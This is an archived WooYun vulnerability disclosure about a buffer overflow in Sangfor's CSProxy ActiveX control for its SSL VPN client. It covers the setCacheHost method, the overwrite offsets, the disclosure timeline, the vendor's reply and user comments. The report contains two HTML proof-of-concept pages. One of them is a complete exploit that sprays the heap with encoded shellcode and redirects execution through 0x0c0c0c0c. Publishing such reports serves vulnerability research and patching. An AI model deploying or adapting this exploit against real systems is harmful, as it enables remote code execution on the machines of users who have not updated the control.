破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

#3 Sinfor CSProxy Class Activex Remote Code Execution

编号42986
Urlhttp://www.wooyun.org/bug.php?action=view&id=42986
漏洞状态厂商已经确认
漏洞标题#3 Sinfor CSProxy Class Activex Remote Code Execution
漏洞类型远程代码执行
厂商深信服
白帽子想要减肥的胖纸
提交日期2013-11-15 13:55:00
公开日期2014-02-13 13:56:00
修复时间(not set)
确认时间2013-11-15 00:00:00
Confirm Spend0
漏洞标签缓冲区溢出 activex漏洞
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank8
漏洞简介
Looking for cyclic pattern in memory
    EIP overwritten with lower pattern : 0x6a61326a (offset 277)
    ECX overwritten with lower pattern : 0x6a61326a (offset 277)
[+] Examining SEH chain
    SEH record (nseh field) at 0x016ad18c overwritten with lower pattern : 0x6a61326a (offset 273), followed by 4 bytes of cyclic data
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x0168f000 to 0x016afffc (0x00020ffc bytes)
    0x016ad07d : Contains lower cyclic pattern at ESP+0x435 (+1077) : offset 2, length 259 (-> 0x016ad17f : ESP+0x538)
    0x016ad185 : Contains lower cyclic pattern at ESP+0x53d (+1341) : offset 266, length 15 (-> 0x016ad193 : ESP+0x54c)
    0x016ad199 : Contains lower cyclic pattern at ESP+0x551 (+1361) : offset 286, length 7714 (-> 0x016aefba : ESP+0x2373)
漏洞细节

名称:         CSProxy Class
发行者: Sinfor Technologies Co.,Ltd
类型: ActiveX 控件
版本: 4. 2. 1. 3
文件日期:
上次访问日期: 2013年11月15日,13:03
类 ID: {53EC2F48-968E-4A42-B99B-9F6571474213}
使用计数: 765
阻止次数: 0
文件: ProxyIE.dll
文件夹: C:\Program Files\Sinfor\SSL\ClientComponent3


setCacheHost提交大于276个字符之后溢出
mona计算的偏移

+] Looking for cyclic pattern in memory
EIP overwritten with lower pattern : 0x6a61326a (offset 277)
ECX overwritten with lower pattern : 0x6a61326a (offset 277)
[+] Examining SEH chain
SEH record (nseh field) at 0x016ad18c overwritten with lower pattern : 0x6a61326a (offset 273), followed by 4 bytes of cyclic data
[+] Examining stack (entire stack) - looking for cyclic pattern
Walking stack from 0x0168f000 to 0x016afffc (0x00020ffc bytes)
0x016ad07d : Contains lower cyclic pattern at ESP+0x435 (+1077) : offset 2, length 259 (-> 0x016ad17f : ESP+0x538)
0x016ad185 : Contains lower cyclic pattern at ESP+0x53d (+1341) : offset 266, length 15 (-> 0x016ad193 : ESP+0x54c)
0x016ad199 : Contains lower cyclic pattern at ESP+0x551 (+1361) : offset 286, length 7714 (-> 0x016aefba : ESP+0x2373)


0x033829b7 msvcrt._strlwr把字符转成小写 所以mona计算的偏移可能不准确

POC

<html>
<head>
<title>Sangfor Activex overflow PoC</title>
</head>
<!--
0x033829b7 msvcrt._strlwr把字符转成小写
-->
<body>
<object classid="clsid:53EC2F48-968E-4A42-B99B-9F6571474213" id='poc'></object>
<script>
junk1 = "";
while(junk1.length < 276) junk1+="A";
eip = "DDDD";
payload = junk1 + eip;
poc.setCacheHost(payload);
</script>
</body>
</html>


DDDD被转换成dddd 覆盖eip 见下图

QQ20131115-5@2x.png


<html>
<title>Sangfor Activex overflow PoC</title>


<object classid='clsid:53EC2F48-968E-4A42-B99B-9F6571474213' id='target' ></object>
<script >
var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');
var bigblock = unescape('%u\9090%u\9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
junk1 = "";
while(junk1.length < 276) junk1+="C";
eip = "\x0c\x0c\x0c\x0c";
payload = junk1 + eip;
target.setCacheHost(payload);
</script>
</html>


修复方案

状态信息 2013-11-15: 细节已通知厂商并且等待厂商处理中
2013-11-15: 厂商已经确认,细节仅向厂商公开
2013-11-18: 细节向第三方安全合作伙伴开放
2014-01-09: 细节向核心白帽子及相关领域专家公开
2014-01-19: 细节向普通白帽子公开
2014-01-29: 细节向实习白帽子公开
2014-02-13: 细节向公众公开
厂商回复亲,跟你上次提交的属同类问题。补丁包已发,这台估计还没升级。
回应信息危害等级:中漏洞Rank:8 确认时间:2013-11-15 17:23
Showing 1-15 of 15 items.
评论内容评论人点赞数评论时间

@想要减肥的胖纸 谢谢!

深信服02013-11-18 16:50:00

@深信服 可是我看到好多地方没更新 百度 google一下 好多学校、科研机构、政府部门。都是老版本控件版本。希望你们能自查下 然后通知用户更新。

想要减肥的胖纸02013-11-18 15:49:00

@想要减肥的胖纸 客户端控件有自动更新的.当控件推送到VPN设备上后,用户下次登录VPN时就会自动更新使用的控件.

深信服02013-11-18 14:09:00

你家里人知道这么屌吗?

Sct7p02013-11-15 20:46:00

你为何这么屌

ppt02013-11-15 20:31:00

@想要减肥的胖纸 @360安全卫士

xsser02013-11-15 19:36:00

@深信服 我想弱弱的问一下,厂商有没有提示用户升级?当用户第一次使用vpn的时候提示安装控件,然后你们更新应该是推送到vpn设备上的,把原来的控件包替换,但是客户端本身能不能有像微软那种自动更新?如果没有提示用户更新,用户未更新,还是有很大风险被APT的。

想要减肥的胖纸02013-11-15 19:35:00

@想要减肥的胖纸 soga

zzR02013-11-15 15:26:00

@zzR 原来叫sinfor

想要减肥的胖纸02013-11-15 15:09:00

@想要减肥的胖纸 大哥 是sangfor 还是sinfor?

zzR02013-11-15 15:01:00

你为何这么吊

雷锋02013-11-15 14:47:00

你为何那么屌

一只猿02013-11-15 14:25:00

@xsser 不吊,找到stackpiovt之后发现太纠结了,到rop不能执行了。猜测和大小写转换有关。唉,我是刚研究这方面的菜鸟,继续调试下下个漏洞,看看会不会还这么纠结。相关图 见http://zone.wooyun.org/content/8262

想要减肥的胖纸02013-11-15 14:02:00

要往国际版发?

霍大然02013-11-15 13:57:00

你为何那么屌

xsser02013-11-15 13:56:00